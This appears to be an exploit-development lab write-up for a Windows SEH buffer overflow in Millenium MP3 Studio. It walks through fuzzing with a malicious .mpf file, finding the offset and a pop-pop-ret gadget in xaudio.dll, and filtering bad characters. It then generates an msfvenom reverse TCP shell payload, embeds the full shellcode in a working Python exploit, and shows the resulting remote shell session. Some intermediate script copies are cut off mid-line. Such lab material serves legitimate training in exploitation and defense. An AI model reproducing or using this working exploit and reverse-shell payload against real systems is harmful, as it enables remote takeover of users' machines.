Millenium MP3 Studio

Starting MP3 Studio

FIRST ATTACH MP3 STUDIO TO IMMUNITY DEBUGGER

Crashing Program

fuzz.py | ant_server_exploit.py | mp3_exploit.py

```python
file = "exploit.mpf"

buffer = "A"*5000

f = open (file, "w")
f.write (buffer)
f.close()

print "[+] file saved as " + file
print "buffer"
```

CRASHED AT 5000 BYTES AND OVERWROTE EIP AFTER EXCEPTION WAS MADE FOR SEH

Finding Offset

```
┌──(kali㉿kali)-[~/Desktop/INE/Exploit_Development/Windows_SEH_Overflow_MP3_Studio]
└─$ msf-pattern_create -l 5000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8A
7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6
l5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao
Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1A
0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9
c8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf
Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4B
3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2
u1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx
```

LOAD THAT IN AS YOUR BUFFER AND RUN PROGRAM

GRAB THE EIP VALUE

```
┌──(kali㉿kali)-[~/Desktop/INE/Exploit_Development/Windows_SEH_Overflow_MP3_Studio]
└─$ msf-pattern_offset -l 5000 -q 46326846
[*] Exact match at offset 4116
```

Controlling EIP

TO CONTROL EIP DO NOT PRESS SHIFT+F9

```
Registers (FPU)
EAX 0019F7DC
ECX 00000000
EDX 44444444
EBX 0019F7DC
ESP 0019E7A0
EBP 0019F7E4 ASCII "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
ESI 0019E7B4 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EDI 022C9680 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

EIP 00403734 MP3Studi.00403734

C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 0  DS 002B 32bit 0(FFFFFFFF)
S 0  FS 0053 32bit 235000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr ERROR_SUCCESS (00000000)

EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)

ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g

0019F778  41414141 AAAA
0019F77C  41414141 AAAA
0019F780  41414141 AAAA
0019F784  41414141 AAAA
0019F788  41414141 AAAA
0019F78C  41414141 AAAA
0019F790  41414141 AAAA
0019F794  41414141 AAAA
0019F798  41414141 AAAA
0019F79C  41414141 AAAA
0019F7A0  41414141 AAAA
0019F7A4  41414141 AAAA
0019F7A8  41414141 AAAA
0019F7AC  41414141 AAAA
0019F7B0  41414141 AAAA
0019F7B4  41414141 AAAA
0019F7B8  41414141 AAAA
0019F7BC  41414141 AAAA
0019F7C0  41414141 AAAA
0019F7C4  42424242 BBBB Pointer to next SEH record
0019F7C8  43434343 CCCC SE handler
0019F7CC  44444444 DDDD
0019F7D0  44444444 DDDD
0019F7D4  44444444 DDDD
0019F7D8  44444444 DDDD
0019F7DC  00000000 ....
0019F7E0  44444444 DDDD
```

fuzz.py | ant_server_exploit.py | mp3_exploit.py

```python
file = "exploit.mpf"

buffer = "A"*4112
buffer += "BBBB" #nSEH
buffer += "CCCC" #SEH
buffer += "D"*500 #extra for future sc
#offset 4116

f = open (file, "w")
f.write (buffer)
f.close()

print "[+] file saved as " + file
print "buffer"
```

More SEH

```
0x100156a9 : pop ebx # pop ecx # ret  |  {PAGE_EXECUTE_READ} [xaudio.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.0.7.0 (C:\mp3-millennium\xaudio.dll)
0x100157f3 : pop ebx # pop ecx # ret  |  {PAGE_EXECUTE_READ} [xaudio.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.0.7.0 (C:\mp3-millennium\xaudio.dll)
0x100158e6 : pop ebx # pop ecx # ret  |  {PAGE_EXECUTE_READ} [xaudio.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.0.7.0 (C:\mp3-millennium\xaudio.dll)
0x10015901 : pop ebx # pop ecx # ret  | ascii {PAGE_EXECUTE_READ} [xaudio.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.0.7.0 (C:\mp3-millennium\xaudio.dll)
0x10015913 : pop ebx # pop ecx # ret  | ascii {PAGE_EXECUTE_READ} [xaudio.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.0.7.0 (C:\mp3-millennium\xaudio.dll)
0x100165cb : pop ebx # pop ecx # ret  |  {PAGE_EXECUTE_READ} [xaudio.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.0.7.0 (C:\mp3-millennium\xaudio.dll)
0x1001840e : pop ebx # pop ecx # ret  |  {PAGE_EXECUTE_READ} [xaudio.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.0.7.0 (C:\mp3-millennium\xaudio.dll)
0x10018427 : pop ebx # pop ecx # ret  |  {PAGE_EXECUTE_READ} [xaudio.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.0.7.0 (C:\mp3-millennium\xaudio.dll)
0x1001852a : pop ebx # pop ecx # ret  |  {PAGE_EXECUTE_READ} [xaudio.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.0.7.0 (C:\mp3-millennium\xaudio.dll)
0x10018568 : pop ebx # pop ecx # ret  |  {PAGE_EXECUTE_READ} [xaudio.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.0.7.0 (C:\mp3-millennium\xaudio.dll)
0x10018570 : pop ebx # pop ecx # ret  |  {PAGE_EXECUTE_READ} [xaudio.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.0.7.0 (C:\mp3-millennium\xaudio.dll)
0x100193f8 : pop ebx # pop ecx # ret  |  {PAGE_EXECUTE_READ} [xaudio.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.0.7.0 (C:\mp3-millennium\xaudio.dll)
0x1001b3e6 : pop ebx # pop ecx # ret  |  {PAGE_EXECUTE_READ} [xaudio.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.0.7.0 (C:\mp3-millennium\xaudio.dll)
0x1001b430 : pop ebx # pop ecx # ret  |  {PAGE_EXECUTE_READ} [xaudio.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.0.7.0 (C:\mp3-millennium\xaudio.dll)
0x1001b449 : pop ebx # pop ecx # ret  |  {PAGE_EXECUTE_READ} [xaudio.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.0.7.0 (C:\mp3-millennium\xaudio.dll)
0x1001b4f1 : pop ebx # pop ecx # ret  |  {PAGE_EXECUTE_READ} [xaudio.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.0.7.0 (C:\mp3-millennium\xaudio.dll)
```

OUR JMP IS GOING TO BE THE ONE THAT IS HIGHLIGHTED

WE CHECKED THIS AND IT WORKED GOOD WITH OUR EXPLOIT

FROM THERE WE HAD TO JUMP FORWARD 32 BYTES DUE TO THE ..... IN D'S

fuzz.py | ant_server_exploit.py | mp3_exploit.py

```python
file = "exploit.mpf"

buffer = "A"*4112
buffer += "\xeb\x22\x90\x90" #nSEH
buffer += "\x01\x59\x01\x10" #SEH
buffer += "\x90"*30 #nop sled
buffer += "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\
buffer += "D"*500 #extra for future sc
#offset 4116
#jmp 0x10015901
f = open (file, "w")
f.write (buffer)
f.close()

print "[+] file saved as " + file
print "buffer"
```

BUFFER EB X22 IS THE 32 BIT JUMP, THEN WE PUT IN OUR REGULAR JUMP FOLLOWED BY A NOP SLED

DID NOT HAVE BAD BYTES, INSTEAD THAT AREA WAS A BREAK WHICH IS XCC

ADDED IN MORE D'S FOR FUTURE SHELL CODE

WORKED... ADDED IN BAD BYTES

Finding Bad Chars

FIND THE BAD CHARACTERS AFTER THE NOP SLED FOLLOW ESP IN DUMP

fuzz.py | ant_server_exploit.py | mp3_exploit.py

```python
file = "exploit.mpf"

buffer = "A"*4112
buffer += "\xeb\x22\x90\x90" #nSEH
buffer += "\x01\x59\x01\x10" #SEH
buffer += "\x90"*30 #nop sled
buffer += "\x01\x02\x03\x04\x05\x06\x07\x08\x0
buffer += "D"*500 #extra for future sc
#offset 4116
#jmp 0x10015901
f = open (file, "w")
f.write (buffer)
f.close()

print "[+] file saved as " + file
print "buffer"

#\x00\x0a\x0d\x1a

```

Shellcode

```
┌──(kali㉿kali)-[~/Desktop/INE/Exploit_Development/Windows_SEH_Overflow_MP3_Studio]
└─$ msfvenom -p windows/shell_reverse_tcp -b "\x00\x0d\x0a\x1a" -f c EXITFUNC=thread LHOST=192.168.0.21 LPORT=1337
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] =
"\xbd\x53\x18\xb2\xa0\xd9\xc9\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
"\x52\x31\x6f\x12\x83\xc7\x04\x03\x3c\x16\x50\x55\x3e\xce\x16"
```

```
file = "exploit.mpf"

buffer = "A"*4112
buffer += "\xeb\x22\x90\x90" #nSEH
buffer += "\x01\x59\x01\x10" #SEH
buffer += "\x90"*30 #nop sled
buffer += (
"\xbd\x53\x18\xb2\xa0\xd9\xc9\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
"\x52\x31\x6f\x12\x83\xc7\x04\x03\x3c\x16\x50\x55\x3e\xce\x16"
"\x96\xbe\x0f\x77\x1e\x5b\x3e\xb7\x44\x28\x11\x07\x0e\x7c\x9e"
"\xec\x42\x94\x15\x80\x4a\x9b\x9e\x2f\xad\x92\x1f\x03\x8d\xb5"
"\xa3\x5e\xc2\x15\x9d\x90\x17\x54\xda\xcd\xda\x04\xb3\x9a\x49"
"\xb8\xb0\xd7\x51\x33\x8a\xf6\xd1\xa0\x5b\xf8\xf0\x77\xd7\xa3"
"\xd2\x76\x34\xd8\x5a\x60\x59\xe5\x15\x1b\xa9\x91\xa7\xcd\xe3"
"\x5a\x0b\x30\xcc\xa8\x55\x75\xeb\x52\x20\x8f\x0f\xee\x33\x54"
"\x6d\x34\xb1\x4e\xd5\xbf\x61\xaa\xe7\x6c\xf7\x39\xeb\xd9\x73"
"\x65\xe8\xdc\x50\x1e\x14\x54\x57\xf0\x9c\x2e\x7c\xd4\xc5\xf5"
"\x1d\x4d\xa0\x58\x21\x8d\x0b\x04\x87\xc6\xa6\x51\xba\x85\xae"
"\x96\xf7\x35\x2f\xb1\x80\x46\x1d\x1e\x3b\xc0\x2d\xd7\xe5\x17"
"\x51\xc2\x52\x87\xac\xed\xa2\x8e\x6a\xb9\xf2\xb8\x5b\xc2\x98"
"\x38\x63\x17\x0e\x68\xcb\xc8\xef\xd8\xab\xb8\x87\x32\x24\xe6"
"\xb8\x3d\xee\x8f\x53\xc4\x79\x70\x0b\xc6\x6c\x18\x4e\xc6\x8b"
"\xe1\xc7\x20\xf9\x01\x8e\xfb\x96\xb8\x8b\x77\x06\x44\x06\xf2"
"\x08\xce\xa5\x03\xc6\x27\xc3\x17\xbf\xc7\x9e\x45\x16\xd7\x34"
"\xe1\xf4\x4a\xd3\xf1\x73\x77\x4c\xa6\xd4\x49\x85\x22\xc9\xf0"
"\x3f\x50\x10\x64\x07\xd0\xcf\x55\x86\xd9\x82\xe2\xac\xc9\x5a"
"\xea\xe8\xbd\x32\xbd\xa6\x6b\xf5\x17\x09\xc5\xaf\xc4\xc3\x81"
"\x36\x27\xd4\xd7\x36\x62\xa2\x37\x86\xdb\xf3\x48\x27\x8c\xf3"
"\x31\x55\x2c\xfb\xe8\xdd\x4c\x1e\x38\x28\xe5\x87\xa9\x91\x68"
"\x38\x04\xd5\x94\xbb\xac\xa6\x62\xa3\xc5\xa3\x2f\x63\x36\xde"
"\x20\x06\x38\x4d\x40\x03"
)
#offset 4116
#jmp 0x10015901
f = open (file, "w")
f.write (buffer)
f.close()

print "[+] file saved as " + file
print "buffer"

#\x00\x0a\x0d\x1a
```

```
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.0.21:1337



[*] Command shell session 2 opened (192.168.0.21:1337 -> 192.168.0.35:49777) at 2021-09-05 09:08:29 -0400


c:\WINDOWS>
c:\WINDOWS>
c:\WINDOWS>whoami
whoami
desktop-seu9c46\vuln

c:\WINDOWS>
```